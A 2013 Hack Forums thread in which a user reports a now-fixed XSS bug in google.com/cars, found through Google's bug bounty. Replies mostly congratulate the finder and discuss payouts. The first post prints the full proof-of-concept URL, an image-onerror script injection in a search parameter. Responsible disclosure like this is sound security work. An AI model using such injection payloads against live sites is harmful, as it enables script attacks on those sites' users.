+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [GOOGLE] XSS $1337 + HOF (/showthread.php?tid=3399816)
[GOOGLE] XSS $1337 + HOF - Wellwhatsgood? - Apr 11, 2013
Hey everyone, just felt like creating another of the trillion XSS threads ;) Anyways, I found a basic xss vuln in Google.com/cars about 2 months ago, and received a wire payment of $1337 + got my name on the Google Hall of Fame list. This has been confirmed fixed by a Google security engineer.
Vulnerable Link; 😊
Code
https://www.google.com/cars/#!search&Make_S=Acura"><img src="<img src=search"/onerror=alert("XSS")//">&Zipcode_S=94501&User+Distance_D=25&start=0&tab=dealer&tknid=56875272[img]http://codyscreensnapr.netne.net/s/dXCblJ.jpg[/img]
If you look at the tab you can see that's where it was excecuted. Anyways just wanted to show a poc to people who might appreciate it, thanks. 👍
* - RebornX - Apr 11, 2013
Awesome work man. I really liked it.
Keep it up.
* - Skorp - Apr 11, 2013
They would pay that amount. 🙂
* - Wellwhatsgood? - Apr 11, 2013
(Apr 11, 2013 10:43 AM)RebornX Wrote: Awesome work man. I really liked it.
Keep it up.
Hey man thanks for the positive feedback, I really appreciate it :)
* - TheNeutron - Apr 11, 2013
Wow, Cool find mate... Congratz, Enjoy the Money ;)
* - Prostitute - Apr 11, 2013
did you copy that off oswap? xD swear i have seen it on there
* - Apple J4ck. - Apr 11, 2013
Great job buddy, congratz about the money. :)
I have XSS in google as well, I'm still considering reporting it to them because it can only be done with $_POST data so I'm not sure how much or if they will pay me.
* - Wellwhatsgood? - Apr 11, 2013
(Apr 11, 2013 12:18 PM)Prostitute Wrote: did you copy that off oswap? xD swear i have seen it on there
Nope all mine, found it February 19th, found out it was worth money the 26th :)
[img]http://codyscreensnapr.netne.net/s/HL60Da.jpg[/img]
(Apr 11, 2013 12:20 PM)Apple J4ck. Wrote: Great job buddy, congratz about the money. :)
I have XSS in google as well, I'm still considering reporting it to them because it can only be done with $_POST data so I'm not sure how much or if they will pay me.
Go and report it, you got nothing to lose :)
* - Great Prosperity - Apr 11, 2013
Wow, that was the easiest place to find an xss vuln. Can't believe it existed.
* - Wellwhatsgood? - Apr 11, 2013
(Apr 11, 2013 03:20 PM)Optimism Wrote: Wow, that was the easiest place to find an xss vuln. Can't believe it existed.
Haha Yea man, just a simple string that was changed via a drop down menu!
* - michael1026 - Apr 11, 2013
They've been taking a while to reply to them lately. I use to get a reply the next day.
* - zeru - Apr 11, 2013
great job man i would give a lot to be on the hof
* - alignment - Apr 11, 2013
Do you get the reward on paypal?
If so, i may report a few.
* - Sonics - Apr 11, 2013
Great job man! You get a beastly backlink for the HOF too! :P
* - Hikki - Apr 11, 2013
Congrats. I also found one in Google. So sad someone already reported it. Lost 1337$. I also posted a thread here on HF.